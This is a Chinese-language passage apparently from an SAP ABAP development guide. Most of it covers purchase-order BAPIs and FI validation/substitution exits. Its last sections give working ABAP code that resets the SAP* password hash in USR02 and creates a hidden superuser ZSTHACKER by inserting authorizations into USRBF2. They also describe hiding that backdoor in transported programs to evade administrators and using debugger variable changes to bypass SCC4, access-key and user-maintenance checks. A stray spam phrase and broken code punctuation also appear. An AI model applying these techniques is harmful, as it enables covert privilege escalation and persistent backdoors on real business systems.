        zposolog-bapimsg .

    zposolog-flag = 'F'。 "Failure

    append zposolog .

    insert ZPOSO    from zposolog。

  endif.

 

***----------------------PO可能会反复调用吗---------------------

*** 不管如何做到call一次就退出.

*** 建立一表ZFLAG 可只有一个字段 ZrepcalldefaultF

  CALL FUNCTION 'BAPI_PO_CREATE'

    EXPORTING

      PO_HEADER                        = ZPOHEADER

*   PO_HEADER_ADD_DATA               =

*   HEADER_ADD_DATA_RELEVANT         =

*   PO_ADDRESS                       =

*   SKIP_ITEMS_WITH_ERROR            = 'X'

*   ITEM_ADD_DATA_RELEVANT           =

   IMPORTING

     PURCHASEORDER                    = ZPURCHASEORDER "好瞧瞧

    TABLES

      PO_ITEMS                         = ZPOITEMS

*   PO_ITEM_ADD_DATA                 =

      PO_ITEM_SCHEDULES                = ZPO_ITEM_SCHEDULES

*   PO_ITEM_ACCOUNT_ASSIGNMENT       =

*   PO_ITEM_TEXT                     =

*   RETURN                           =

*   PO_LIMITS                        =

*   PO_CONTRACT_LIMITS               =

*   PO_SERVICES                      =

*   PO_SRV_ACCASS_VALUES             =

*   PO_SERVICES_TEXT                 =

*   PO_BUSINESS_PARTNER              =

*   EXTENSIONIN                      =

*   POADDRDELIVERY                   =

            .

 

Endif。 "结束建立Purchase Order Sales Order

 

 

 

下面是使用VB Call BAPI_CREATE_PO建立PO的例子的部分首先使用SE37 测试基本上建立PO最简单只需要以下参数. 注意vendor必须是10位数如果长度不足请加0

tvendor = Mid("0000000000" 1 10 - Len(Trim(VENDOR。Text))) + Trim(VENDOR。Text)

‘保证如果vendor length<10补充到10位否则就会出错

poheader。Value("VENDOR") = tvendor

poheader.Value("PURCH_ORG") = "1000" 'Trim(Text2.Text)

poheader。Value("PUR_GROUP") = "111" ' Trim(Text3。Text)

poheader.Value("DOC_TYPE") = "NB" 'Trim(Text4.Text)

poitems.Rows.Add

poitems。Value(1 "PUR_MAT") = "C-010" ' Trim(Text5.Text)

poitems.Value(1 "PLANT") = "1100" 'Trim(Text6.Text)

poitems.Value(1 "NET_PRICE") = "222" ' Trim(Text7.Text)

poitemschedule.Rows.Add

poitemschedule.Value(1 "DELIV_DATE") = "2005/08/16" 'Text8.Text

poitemschedule。Value(1 "QUANTITY") = "888" ' Text9.Text

 

2.SD模块开发实例.

企业SD的一般流程汇总:

典型的SD开发有(不包含SD模块增强).

发票打印|销售分析报表|Credit Note申请Form|Shipping Note|Sales Forecast|Dunning Letter|Shipment Status|Packing List|产品批次和系列号报表等.

由于SD可能有大量的用户增强,在实例中有几个典型的案例.

1.读取销售文本

2。销售订单审批

 

 

3.PP模块开发实例.

企业PP的一般流程汇总:

典型的SD开发有(不包含SD模块增强).

发票打印|销售分析报表|Credit Note申请Form|Shipping Note|Sales Forecast|Dunning Letter|Shipment Status|Packing List|产品批次和系列号报表等。

由于SD可能有大量的用户增强,在实例中有几个典型的案例.

 

 

1。MD04 save的Prod极其素原的PR

4.FI模块开发实例.

1.编写财务报表

2.财务凭证的确定(Validation)

HRAPAPGLConsolidationReal EstateSpecial Purpose Ledger等多模快都能发现有效性检查(Validation)配置,所谓 Validation 不过是在凭证保存前根据设置条件判断此凭证是否有效再根据Validation设置的消息类型(关于消息请参考第例消息控制)决定凭证是否允许保存(顺利保存的)对稍微了解ABAP开发基础的用户是很容易理解的.

凭证ValidationSubstitution和User Exit的使用保证了凭证能成功通过某些企业实际的自订复杂业务检测最后保存在数据库中。

***可使用Validation检测在记帐时某些cost center只能对应到具体某Functional Area(如上了Functional Area的话)某些费用类科目只能记到某具体

Cost center等。

比较实用的Validation IMG T-code有: OB28:AP/AR/GL Doc.| OAZ1:AM Posting|

GCVW:Global Validation(In SPLCompany Level)|GCVV:Local Validation(In SPL

Company code Level).

下面以OB28为例详细说明Validation的用法.(IMG Path如图7-1标号1)

[1]定义记帐确认.

[2]定义会计凭证退代。

 

建立Validation步骤:

下面以Line Validation STLINE只允许用户STONEF在5100(本位币HKD)记帐时本位货币金额不超过1000HKD为例子详细介绍Validation的配置步骤.

***当然使用其他配置也能达到相同效果。

 

1.选择Callup Point建立Validation Name(如图7-2).

  [1]1.在凭证抬头触发  2.凭证行项目触发  3.整个凭证触发触发通常发生在用户按Enter键和保存之时.

  [2]新建Validation时按F2进入详细画面(如图7-3)

  [3]1表示激活,只有选择激活后Validation才真正起作用。

2.Validation建立步骤详解(如图7-3).

 

[1]新建Validation如在此新建Validation要回到图7-2按New entries然后激活.

[2] 新建Step一个Step包含先决条件检查和消息. 图7-3 Step001表示的是在

    Company code 5100(Local Currency HKD)下如果User是STONEF如记帐本位币超过1000HKD就弹出错误消息ZFIMSG 017(关于消息剖析请参考第例消息控制).    

   ***Validation触发的条件是满足先决条件但是不满足检查条件。

[3]Rule可用在ValidationSubstitutionReport Write Selection甚至ATP check简单理解经常用到的一些判断条件可建立成RulePrerequisite和check建立俩Rule-ZRULE1(图7-4)和ZRULE2(图略.BSEG-DMBTR <= '1000.00')和图7-2效果一样不同的是此俩rule还可用在Substitution等中(请看8例凭证的退代)可重复使用.

   重复性的好处还表现在你只要修改rule(比如现在STONEF允许最大记帐金额是

2000)所有用到此ruleValidationSubstitution全部生效.

    

  7-5使用Rule和图7-3直接使用ABAP code效果一样.

 

***Rule做为一个条件可用在定义其它Rule比如ZRULE3 包含ZRULE1 and 其他条件.

[4]Header Validation只可选BKPF字段和只在凭证头回车或保存凭证触发。

[5]Item Validation先决条件可选BKPF和BSEG但是Check只能选BSEG字段否则不被触发.

***比如先决条件条件是BKPF-BUKRSCheck是BKPF-USNAM很明显这是无效的Validation.

另一个问题是如有多个行项目满足了条件会弹出多条消息.

[6]整个凭证有效就是在Doc HeaderItem回车和保存都触发.

[7]先决条件条件(参照[2]).

[8]检查(参照[2]).

[9]SAP消息使用在多种地方比如想打印传真PO需要建立一个相应消息另外消息还用在处理程序例外上在这里是指后者(更详细请参考第例消息控制)。

 

如上图7-6.

[1]E表示消息定义为错误类别此时不可保证凭证IW类别只是给出信息和警告允许凭证保存如选A则会退出当前Tcode操作.

[2]用户可使用 Tcode:SE91字定义的Message Class(图7-7).

 

[3]。在此选择了消息号017使用了俩参数(&)&表示在实际弹出消息时能使用实际值取代&。

[4]。使用消息变量。

   7-8表示用户STONEF在使用FB50手工记帐时Local currency amount>1000

   时出现的错误(Validation ZSTLINE生效消息的俩&参数被BKPF-USNAM和BSEG-DMBTR代替)出现的错误消息由于凭证俩行Amount都>1000此消息将弹出俩次.

1.ZSTLINE显然对USER STONEF操作所产生的任何会计凭证都有效比如只想限制STONE在使用FB50记帐但是F-53付款时却允许超过1000HKD,请在先决条件上再加上Tcode FB50则Validationi就只对FB50有效.

2.想用Tcode比如FB50测试新建Validation起码要求退出当前操作再进入否则SAP会从缓冲中读数据认为还是上次的配置结果拥护却认为配置失败最保证的方法是从Validation IMG窗口使用/O FB50(或其它Tcode).

3.这种方法同样适用于任何其它相同情况的测试.

 

 

 

3.再谈建立Validation操作.(图7-9)

 

[1]删除Prerequisite和Check代码.

[2]合并字符字段

[3]比如对line ValidationBKFFBSEGSYST(如想By Tcode选SYST-TCODE做条件)三对象可使用.

[4]选择rule做Prerequisite和Check(参考图7-5).

[5]可使用User Exit做Prerequisite和Check.(参考8例凭证的退代).

[6]一些常用逻辑表达式。

[7]通常使用的是Constant(常量).

1.读者也许有这样的疑问Validation究竟是怎么工作的? 很好使用SE37在Function

FI_VALIDATION_HEADERFI_VALIDATION_ITEM合适位置设置断点就可知道更详细的程序逻辑。

另外相关Table T001D|和相关程序GBTDMFI0|RGUGBR00,有兴趣的读者不妨研究一下.

2。另一个留给读者的疑问是一个Validation可有多个Steps不妨假设一Line Validation有俩Steps-STEP1和Step2它们的Prerequisite都是:BKPF-BUKRS = 5100,但是Check却不同甚至是矛盾的Step1 check是BSEG-DMBTR <=1000.而Step2-check却是BSEG-DMBTR > 1000,结果会如何?

 

3.财务凭证的退代(Substitution)

Validation一样凭证的退代在多个模块中能找到IMG Path(IMG Path如图7-1标号2)。

比较实用的Substitution IMG T-code有: OBBH:AP/AR/GL Doc。| OACS:AM Create Assets|OA02:Mass change Assets|GCVY:Global Substitution(In SPLCompany Level)|GCVX:Local Substitution(In SPLCompany code Level)。

和Validation不同的是Validation只做检测一般不做相应数据的修改Substitution弥补了这反面的缺陷,甚至允许和user_exit相结合。

假设用户希望在产生APAR凭证能将vendorcustomer 或其它信息比如写入Assignment(BSEG-ZUONR)字段或者希望某些P&L科目在记入某些特定成本中心时将些分析信息写入TEXT(BSEG-SGTXT)字段可使用退代.

下面举一个最简单实例假设在公司代码5100中如使用现金类科目10010120记帐Text(BSEG-SGTXT)写入信息同时在期初可能会将一些凭证post到上期间使用退代假设是post到上期间的凭证Posting Date换成上期间最后一天.

此简单实例是为了说明问题其中有些步骤和第7例Validation相同就不再一一讲解希望读者在实际业务中能举一反三发挥退代作用.

1。 自定义的退代程序.

相关Tcode:GCX2. (图9-2)

[1]App。 Area 选择GBLS  

[2]输入自定义程序名ZSTSUB(Copy并取代SAP默认的标准程序RGGBS000)

***自定义的程序名称最好不超过8位OBBH似乎只能显示程序名的前8位.

 

 

相关表格函数和程序.

相关表格GB01|T001Q|T80D|GB03|GB03T|GB31|GB31T||GB907|GB90|GB92|GB922|GB901

|OXT_GENOBJDTL|,相关函数FI_SUBSTITUTION_ACTIVE|FI_SUBSTITUTION_DOC

|FI_SUBSTITUTION_HEADER|FI_SUBSTITUTION_ITEM.相关程序ZSTSUB(自定义)| GBTDMFI0| GBTDMFIJ|RGUGBR00

***使用GCX2退换标准的RGGBS000这样就无需申请Access Key另外一个GCX1是跨Client端的一般用于特殊总帐SPL中给Field movement定义用户出口.

2。 建立退代步骤

Validation一样也需为其建立Step一个Step包括先决条件和退代(如图9-3).

 

[1]凭证头退代在凭证抬头回车回保存凭证时满足条件时生效.

[2]凭证行项目退代.

[3]增加删除一个退代

  ***在本例中使用only exit U100(对应ZSTSUB子程序U100)修改line item的Text.

[4]使用用户出口做退代。 (关于怎么选Form规则请看本例思考)。

[5]字段级退代.

 

假设ZSTSUB Form U100的source code如下那么在满足先决条件时行项目的Text都写成了Record Payment Text。

FORM u100.                                                  "#EC CALLED

***U100 如只是用于 line item退代. 所以改变XBLNR不会成功 .

***U100如果同事用于header和line item则俩句都会成功执行。

BKPF-XBLNR  = 'Reference For STONE Test'。

BSEG-SGTXT = 'Record Payment Text ' .

ENDFORM。      

 

读者可思考下面几个问题:

思考:

1如果先决条件没有输入任何值,是否退代会无条件执行?

2在ZSTSUB(本人自定义)用户可参考SAP标准程序RGGBS000 RGGBS000的Form

  会以什么规则在不同级别的(headerLineComplete doc)退代中做Exit ,用户能否自定义自己的field exitheader exit,line exit 和complete exit?

请看此FORM get_exit_titles TABLES etab,有类似语句。

这些由参数c_exit_param_none c_exit_param_field和c_exit_param_class决定

exits-name  = 'U100'.

  exits-param = c_exit_param_none. “能用在Field exitonly exit等任何地方

  exits-title = text-100.            

  APPEND exits.

  exits-name  = 'U101'.

  exits-param = c_exit_param_field。”此Form只用于字段exit

  exits-title = text-101.             

  APPEND exits。

exits-name  = 'U801'.

  exits-param = c_exit_param_class。

”Form U801只能在Callup point 3 complete doc才可使用.

  exits-title = text-101.             "Cost center from CSKS

  APPEND exits. 

3 BKPF,BSEG什么样的值才可应用在退代程序中?

4为什么有些字段即使在退代中更改了但是不生效

下面再以举一实例彻底剖析退代的运行规则同时解释上面34提出的问题.

首先在FI_SUBSTITUTION_HEADER|FI_SUBSTITUTION_ITEM|ZSTSUB(自定义)| GBTDMFI0| GBTDMFIJ设置断点你能进行跟踪. 从技术上讲在回车或保存触发退代前在屏幕上输入的一些值就已经保存在一些内表中然后才执行退代去根据用户设置的条件去退换一些值而已.

实例:通常企业在期初未关帐前可能需要在上期间记帐.如用户需要假设posting date是上期间某个日期自动将此日期退换成上期间最后一天.使用抬头退代.

1确定当新增退代时BKPF-BUDAT是否可见

如在此看不到即使你写了代码也是无效的.如图9-6.

[1]使用only exit U100也可使用field exit . [2]BKPF-BUDAT可见.

 

***使用下面参考代码将BCLTAB和BCLFIELD稍微更改就可将BKPFBSEG任何字段用于退代编码.

 

1所有退代字段关系在GB01表中,可使用下面代码使用BUDAT可用于退代。

在本人的机器上GB01建立了维护视图,因此实际上可直接使用SE16修改GB01,如果企业可能大量使用退代和确定,可以考虑用SE11为表GB01建立维护视图否则就使用下面程序。

Report ZMODGB01.

DATA ZGB01 LIKE GB01 .

SELECT SINGLE * INTO ZGB01 FROM GB01

   WHERE BOOLCLASS = '008'

     AND CLASSTYPE = 'S'

     AND BCLTAB = 'BKPF'

     AND BCLFIELD = 'BUDAT' 。

*    AND BCLTAB = 'BSEG'

*    AND BCLFIELD = 'PRCTR' .

ZGB01-BEXCLUDE = ''。

MODIFY GB01 FROM ZGB01 .

2 在凭证的退代和确定中,有几个比较有用的Tcode。

 GGB0: All Validations。

 GGB1: All Substitutions

 GGB2: All Rule Class

 GGB3:没有这样的Tcode嘿嘿,你自己造一个吧.

 GGB4: 激活

2检查退代代码自动生成.

退代代码是自动生产的这样的自动生成程序的实际应用很多比如在CO-PA中相关表结构和程序很多是自动生成的关于程序自动生产请参考拙作ABAP百谈.

记得在OBBH画面当新建一退代时有如图9-7的画面.

[1]退代名 [2]退代class这个将对应到自动生成程序GBTDMFIJ.

 

GBTDMFIG中读者能看到四个子程序FORM EXP_TAB_008_BKPF(class 8callpnt1)FORM EXP_TAB_009_BSEG(class 9callpnt2) FORM EXP_TAB_015_BKPF和FORM EXP_TAB_015_BSEG(Class 15Callpnt 3).

现在以FORM EXP_TAB_008_BKPF为例。如果读者不能在此子程序的一个结构TEMP_STRUCT发现想退代的字段(原因就不细解)很明显必须重新生成退代程序.

***如果您的退代不工作可以这样找原因GBTDMFIG程序中的上面提到的四个Form的TEMP_STRUCT结构没有看是否有相应的字段.比如在TEMP_STRUCT结构中没有BKPF-BUDAT当然posting date的退代代码就会不起作用此时执行下面步骤3运行RGUGBR00吧.

 

原因很简单在退代程序中定义的BKPFBSEG相当于内表退代代码按用户的逻辑修改了BKPF后如TEMP_STRUCT(实际对应的是可用做退代的全不字段)中没有BKPF就被Reset回.

3重新生成程序.

SE38运行RGUGBR00 将能选的全选上的选项再运行吧(图略).

4。编写代码

下面是参考程序判断Posting Date如在上期间(非上月以月为期间只是期间的一特例国外企业似乎都不这样采用关于期间请参考4刀SAP期间概念)自动将其退换成上期最后一天(对其他期间无效读者可能需要修改才可满足贵企业需求).

  FORM u100.     

*同一Exit(Form)可用于head(Line item)或Filed 退代互不影响.

*具体原理可跟踪GBTDMFIG(有GBTDMFI0动态调用)

*此程序由Yueming Li编写如有必要读者可能需要改动.   

Form 100.                                          

BSEG-SGTXT = 'TEST TeXT'。

*BKPF-BUDAT

TABLES: T009B。

DATA: BEGIN OF T_T009B OCCURS 10

        BUMON  LIKE T009B-BUMON,

        BUTAG  LIKE T009B-BUTAG

      END OF T_T009B.

 

DATA: L_DATE(8)  TYPE C

      L_YEAR(4)  TYPE C,

      L_MONTH(2) TYPE C

      L_DAY(2)   TYPE C,

      L_PERMONTH(2) TYPE C,

      L_CURYEAR(4)  TYPE C

      L_CURMONTH(2) TYPE C,

      L_CURDAY(2)   TYPE C。

 

 

  L_DATE     = SY-DATUM。

  L_CURYEAR  = L_DATE(4)。

  L_CURMONTH = L_DATE+4(2).

  L_CURDAY   = L_DATE+6(2)。

  L_CURMONTH = L_CURMONTH - 0。

  L_PERMONTH = L_CURMONTH - 1。

 

  L_DATE  = BKPF-BUDAT.

  L_YEAR  = L_DATE(4)。

  L_MONTH = L_DATE+4(2).

  L_DAY   = L_DATE+6(2)。

  L_MONTH = L_MONTH - 0。

 

 

 

  IF L_CURYEAR NE L_YEAR.

    BKPF-BUDAT = L_DATE.

    EXIT.

  ENDIF.

 

  IF L_MONTH NE L_CURMONTH

    AND L_MONTH NE L_PERMONTH。

 

    BKPF-BUDAT = L_DATE.

    EXIT。

 

  ENDIF。

 

  SELECT BUMON BUTAG

    INTO T_T009B

    FROM T009B

    WHERE PERIV EQ 'Z1'

      AND BDATJ EQ L_YEAR  " year

      AND ( BUMON EQ L_CURMONTH "Month

       OR BUMON EQ L_PERMONTH )。

    IF T_T009B-BUMON EQ L_PERMONTH。

      APPEND T_T009B。

    ENDIF.

 

    IF T_T009B-BUMON EQ L_CURMONTH

      AND T_T009B-BUTAG LE L_CURDAY.

      APPEND T_T009B。

    ENDIF.

 

  ENDSELECT.

 

   SORT T_T009B。

 

   LOOP AT T_T009B。

     IF T_T009B-BUMON EQ L_MONTH.

       IF T_T009B-BUTAG GE L_DAY。

         CONCATENATE L_YEAR T_T009B-BUMON T_T009B-BUTAG INTO L_DATE.

         EXIT。

       ENDIF。

     ENDIF.

 

     IF T_T009B-BUMON GT L_MONTH.

       IF T_T009B-BUTAG GE L_DAY。

          EXIT。

       ENDIF。

     ENDIF.

   ENDLOOP.

 

  BKPF-BUDAT = L_DATE.

ENDFORM.                                                    "U100

使用函数的.

FORM u100.                                                 "#EC CALLED

*同一个Form可用做header和line 退代而互不影响.

BSEG-SGTXT = 'Line Item Text'. "For Line Sub.

DATA:Z_PSTDATE TYPE SY-DATUM

     Z_CURPER  LIKE T009B-POPER

     Z_CURYEAR LIKE T009B-BDATJ,

     Z_PSTPER  LIKE T009B-POPER

     Z_PSTYEAR LIKE T009B-BDATJ

     Z_PERLSTDAY LIKE SY-DATUM。

*实际永远不会发生记帐到上年和上上期间的.

*check posting date's period and fiscal year

CALL FUNCTION 'DETERMINE_PERIOD'

  EXPORTING

    DATE                      = BKPF-BUDAT

    VERSION                   = 'Z1' "Fiscal Year Var.

 IMPORTING

   PERIOD                    = Z_PSTPER

   YEAR                      = Z_PSTYEAR 。

*check sysdate's period and fiscal year

CALL FUNCTION 'DETERMINE_PERIOD'

  EXPORTING

    DATE                      = SY-DATUM

    VERSION                   = 'Z1' "Fiscal Year Var.

 IMPORTING

   PERIOD                    = Z_CURPER

   YEAR                      = Z_CURYEAR.

*能否在输入的posting date记帐让系统去判断。

CHECK Z_CURYEAR <> Z_PSTYEAR OR Z_PSTPER <> Z_CURPER.

*如posting date不在本期间得到其期间最后一##

Z_PSTPER = Z_PSTPER + 1 。

CALL FUNCTION 'FIRST_DAY_IN_PERIOD_GET'

  EXPORTING

    I_GJAHR              = Z_PSTYEAR

    I_PERIV              = 'Z1'

    I_POPER              = Z_PSTPER

 IMPORTING

   E_DATE               =  Z_PERLSTDAY 。

 

BKPF-BUDAT = Z_PERLSTDAY - 1 .

BKPF-MONAT = Z_PSTPER . "如果Edit options允许看到期间的话也要改。

5.预制凭证可使用退代吗?

这个问题就好比去问一个人是否有双眉毛一样?答案是一般天生是没有如去整容院整就能有. SAP标准程序是不允许预制凭证有退代的其实也没必要因为预制凭证本来就不是正式凭证比如posting date就算现在根据某种规则退代了等真正posting时还不是要根据正常凭证的规则去post 这不多此一举.

如果真需为预制设置退代也很容易.请看下面分解.

(1)使用/H启动debugF6直到执行到SAPMF05A screen Number 1001module document_merge设置断点这个module是判断是否有退代的入口.

 

(2)parked doc g_status =2 。

如下图加入代码则退代对FV50预制凭证生效.

 

FI_VALIDATION_DOC

FI_VALIDATION_HEADER

FI_VALIDATION_ITEM

 

6.物料凭证可使用退代和确定吗?

 如果Mat doc产生的同时产生了财务凭证当然可以使用.

5. Basis相关开发实例 

1.删除传输请求

关于传输请求在第二章13节已经有详细说明下面是一个关于如何删除被锁的传输请求的程序读者可根据实际情况补充.

通常对锁住的表对象可采用SM12解锁对传输请求可按下面程序处理.

Program ZSTDELREQ     。

data :

       itab_e070 like e070 occurs 0 with header line,

*      Request header including Req user.

       iwa_e070c like e070c   "Request client

       itab_e071  like e071 occurs 0 with header line

*Request entry line items may include multiple lines

       iwa_e07t like e07t ,     "Requst short text(desc)

       iwa_E070A like E070A

*If the Request was locked and delelted,Delete Tlock otherwise

*The program will be locked to make any modifications.

       itab_tlock like tlock occurs 0 with header line 。

parameter reqno like e070-trkorr default '' 。

select  * into table itab_e070 from e070

  where trkorr eq reqno or strkorr eq reqno.

if SY-SUBRC Ne 0 .

   write : 'The Request No。:' , Reqno  ' not exist !' 。

*   exit 。

endif .

 

select single * into iwa_e070c from e070c

  where trkorr eq reqno  .

select  * into table itab_e071 from e071

  where trkorr eq reqno 。

select single * into iwa_e07t from e07t

  where trkorr eq reqno 。

select single * into iwa_E070A from e070A

  where trkorr eq reqno 。

if itab_e070 IS INITIAL .

  select * into table itab_tlock from tlock

  where trkorr eq reqno  .

else.

  select  * into table itab_tlock from tlock

    FOR ALL   ENTRIES IN itab_e070

    where TRKORR eq itab_e070-trkorr .

endif。    

if SY-SUBRC NE 0 .

   write : / 'No Locked object for the request NO. was found!'.

endif .

delete :

         e070  from table itab_e070

         e070c from iwa_e070c

         e071  from table itab_e071,

         e07t  from iwa_e07t ,

         e070A from iwa_E070A ,

         tlock from table itab_tlock .

write : / 'The Request No.:'  Reqno ,

' has already been successfully Full deleted'。

如果开发的程序被包含在$TMP package中现在想传输到QAS或PRD需要改换package一个简单的方法就是将记录从资源库对象目录TADIR表中将记录删除(程序如下)接下来改变保存激活程序就会重新弹出Create Object Directory Entry的窗口.

Report zdelpackage.

data iwa_tadir like tadir 。

select single * into iwa_tadir from tadir

where OBJ_NAME = 'ZXMBCU02'."change to your prog. Name.

delete tadir from iwa_tadir.

 

安卓棋牌游戏3.致命SAP权限控制漏洞

尽管SAP系统提供了非常完善的权限控制机制甚至允许细到字段级和允许用户自定义授权对象然后SAP权限控制漏洞也是致命的随便一个小程序就可轻易获取权限

作为职业程序员对取得权限大多会有一定兴趣(这点催生了一批无聊的所谓Hacker)。

读者可自行理解下面几个概在此不再细述.

[1].Activity(group)

[2].Authorization Object

[3].Profile

[4].Role

实际上决定权限的是Authorization Object  USR_USER_AUTH_FOR_OBJ_GET

AUTHORIZATION_DATA_READ_SELOBJ函数就知道了.

常用权限相关Tcode .

(一)Role(角色)相关T-code:

PFAC         标准

PFAC_CHG 改变

PFAC_DEL 删除

PFAC_DIS 显示

PFAC_INS 新建

PFAC_STR

PFCG  创建

ROLE_CMP 比较

SUPC  批量建立角色profile

SWUJ  测试

SU03   检测授权

SU25, SU26      检查Profile

(二)建立用户

SU0  

SU01  

SU01D  

SU01_NAV

SU05

SU1  

SU10  批量

SU12  批量

SUCOMP:维护用户公司地址

SU2  change用户参数

SUIM  用户信息系统,可by 多个查询。

(三)建立用户组

SUGR:维护

SUGRD:显示

SUGRD_NAV:还是维护

SUGR_NAV:还是显示

(四)维护检查授权

SU20|SU21:如有特殊需要定义自己的authorization fields

SU50|SU51|SU52

SU53:当有权限问题可使用它检测

SU56:分析authoraztion data buffers.
SU87:用来检查用户改变产生的history
SU96,SU97SU98SU99:

常用权限相关表格:

TOBJ : All avaiable authorzation objects.(SAP default objects全在此)

USR12: 用户级authoraztion值

USR02:密码table

USR04:Authorization

USR03:User address data

USR05:User Master Parameter ID

USR06:Additional Data per User

USR07:Object/values of last authorization check that failed

USR08:Table for user menu entries

USR09:Entries for user menus (work areas)

USR10:User master authorization profiles

USR11:User Master Texts for Profiles (USR10)

USR12:User master authorization values

USR13:Short Texts for Authorizations

USR14:Surchargeable Language Versions per User

USR15:External User Name

USR16:Values for Variables for User Authorizations

USR20:Date of last user master reorganization

USR21:Assign user name address key

USR22:Logon data without kernel access

USR30:Additional Information for User Menu

USR40:Table for illegal passwords

USR41:当前用户(SM04看到的所有当前活动用户)

USRBF2:记录当前用户所有的授权objects

UST04:User Profile master

UST10C: Composite profiles

UST10S: Single profiles

UST12 : Authorizations

如何获取权限呢?下面举几个实际例子

修改某权限大的用户密码。下面是直接修改SAP*的密码为123.就一句话足矣.

report ZMODPWD。

tables :usr02 。

*Data ZUSR02 like USR02 .

*select  single * into zUSR02 from USR02

*where BNAME = 'SAP*'.

*ZUSR02-BNAME = 'SAP*'.

*ZUSR02-Bcode = '9C8AB8600E74D864' 。

*ZUSR02-UFLAG = '0' ."unlock SAP*

*Update USR02 from ZUSR02  .

update usr02 set bcode = 'DF52478E6FF90EEB'

where BNAME = 'SAP*'.

就是说通过上面的程序轻易将sap*的密码给修改了.加密算法在此彻底失效

上面的方法不妥的是如修改了SAP*密码basis很快就会知道为什么不尝试建立一个临时用户呢?下面介绍一个如何通过程序随意建立用户并赋予所有权限的例子此例的特点在于直接在用户授权对象表USRBF2中加入授权对象使用SU01看不到任何迹象隐蔽性较强.

下面是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限.

Program ZCRTUSER.

Data ZUSR02 like USR02 .

***1Create User ZSTHACKER according to DDIC

select single * into ZUSR02 from USR02

where BNAME = 'DDIC'.

ZUSR02-BNAME = 'ZSTHACKER'.

ZUSR02-Bcode = 'E3B796BB09F7901B' 。

insert USR02 from ZUSR02  .

***2Copy Auth. Obj from SAP*(or other)

data ZUSRBF2 like USRBF2 occurs 0 with header line.

select *  from  USRBF2 into table ZUSRBF2

where BNAME = 'SAP*' .

Loop at ZUSRBF2.

  ZUSRBF2-BNAME = 'ZSTHACKER' .  

  Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.

endloop.

INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

如果SAP*被修改直接从Tobj将所有的授权对象赋给ZSTHACKER就可.

Data Ztobj like tobj occurs 0 with header line .

data zusrbf2 like usrbf2.

select * into table ztobj from tobj 。

loop at ztobj.

  zusrbf2-mandt = sy-mandt。

  zusrbf2-bname = 'ZSTHACKER'。

  zusrbf2-objct = ztobj-objct.

  zusrbf2-auth  ='&_SAP_ALL'。

  modify USRBF2 FROM  zusrbf2 。

endloop .

现在还有一点就是basis能检测到多出的神秘ZSTHACKER用户有一种方法就是basis极难发现这个秘密。读者可自行完成程序逻辑。思路如下:

[1]完善程序有建立和删除用户两功能并将程序插入将要传送到PRD的实用Query(或report painter)等自动产生的程序(需要绕过Access Key).

[2]写个简单的逻辑如果query的某个条件满足建立用户赋予权限(象上面一样插入数据到USR02和USRBF2中),如果另一条件满足删除相关数据(从usr02和usrbf2中将数据删除)这样basis就难于发现。

***注意千万不要用此临时用户做一些不合理的动作。

[3]能不能垮client端建立用户和授权呢?

    回答是肯定的很简单只要在插入数据时指定client就可.假设在client 100有个用户ZSTHACKER没有任何授权当前client是300下面的例子将300中SAP*的所有授权对象赋予给client 100的用户ZSTHACKER.(同理使用client specified可跨client 建立用户).

Data zusrbf2 like usrbf2.

Select * into zusrbf2 from usrbf2  where bname = 'SAP*' .

Zusrbf2-bname = 'ZSTHACKER' .

Zusrbf2-mandt = '100'.

Insert into usrbf2 client specified values zusrbf2.

Endselect .

 

 

 

4.再谈开发权限漏洞

从理论上讲只要有Debut(/H)的权限就应该有机会获取所有权限有些系统在生产机上ABAPer居然有SE38SE71等权限显然这提供了一个很好的机会获取权限.

下面列举的实例是在不使用程序只修改运行变量的情况下或取权限(basis甚至无从追查)。

 

通常在QAS和PRD server Basis会使用Tcode SCC4设置不允许更改配置(如下图No changes allowed表示不允许配置)和不允许程序开发(3 No changes to Repository and cross-client Customizing objs).这些配置保存在表T000中.

 

 

下面是基于用户有SE38权限后并假设如上图已经限制了不允许开发如何绕过此限制获得开发权限的例子.

为此找到程序LSTRDU34(SE37:TRINT_CORR_CHECK)和LSTRDU44(SE37:TRINT_CORR_INSERT)设置断点更改返回值饶过相关判断就可直接在QAS和PRD server上开发.

 

如图3.6.4-1中设置断点当程序运行到此只要将LV_SUBRC设置0即可.

 

同样如图3.6.4-2设置断点将SY-SUBRC改成0就可.

 

假设ABAPer在PRD有SE38权限在创建程序时会提示不能改变资源库和配置可按display(如图3.6.4-3)然后按图3.6.4-1和图3.6.4-2的方法在每次运行到程序LSTRDU34和LSTRDU44时修改LV_SUBRC和SY-SUBRC值为0程序就能被创建并被激活(注意你可能需要多次修改出现提示对话框按Display就可).

 

我所说只要有/H调试权限和SE38(或SE37)就可获得全部权限也是基于这样的思路打开/H然后执行SE38设置断点修改内存变量(如过你愿意慢慢单步执行到LSUSEU11下面的动作都可节省下来直接使用/H就可满足要求)

如图3.6.4-4假设在PRD环境中你有SE38权限你没有SCC4修改Client属性的权限LSUSEU11如图设置断点然后将sy-subrc改成0于是你就拥有了SCC4的权限这种方法就是你并不需要使用程序只要修改变量就可获得Tcode权限.

 

1要真正执行一个未被授权的Tcode除了更改图3.6.4-4,如其有多个screen(程序中经常有Call **Tcode skip first screen)可能其它授权还要检测理论上只要你有耐心依然可获得全部权限。

2下面是一个假设你可使用SU01(只能进first screen但不能createchange user的破解方法.)

如图3.6.4-4-1想获取修改用户权限在LSUU0U02When ‘CHANGE’时修改rc = 0即可(SE37: SUSR_USER_MAINT_WITH_DIALOG).

 

如果想获取新建用户权限在LSUU0U02找到when 'CREA'.将rc值改成0就可.然后在找到保存时的include程序(读者自行去找),既然能建立user了,授权给SAP_ALL当然就获得了所有权限。   

可以任意修改scrip form吗当然可以如果想建立更改Scrip Form(SE71)可在LSTRDU39或TR_OBJECT_CHECK(SE37)设置断点.

如图3.6.4-5.

 

 

谁真正拥有SAP的权限,我想高明的ABAPer是可获得所需权限的毕竟系统是用程

序写出的还有什么用程序做不到的呢?

1。上面描述了如何绕过相应限制建立程序使用上面的方法可直接更改SAP标准程序,采用这种方法是甚至连Access Key都不要就是说如在PRD生产环境如果用户有SA38和/H权限在LSTRDU34和LSTRDU44设置断点然后修改返回值就可 在不需要Access Key的情况下直接完全修改标准程序.

  这样将非常危险,因为就是绕过Access Key (修改LSKEYF00)可在标准程序中Insert,Delete行,起码还不可想修改自写程序一样完全修改程序还能有跟踪.

  

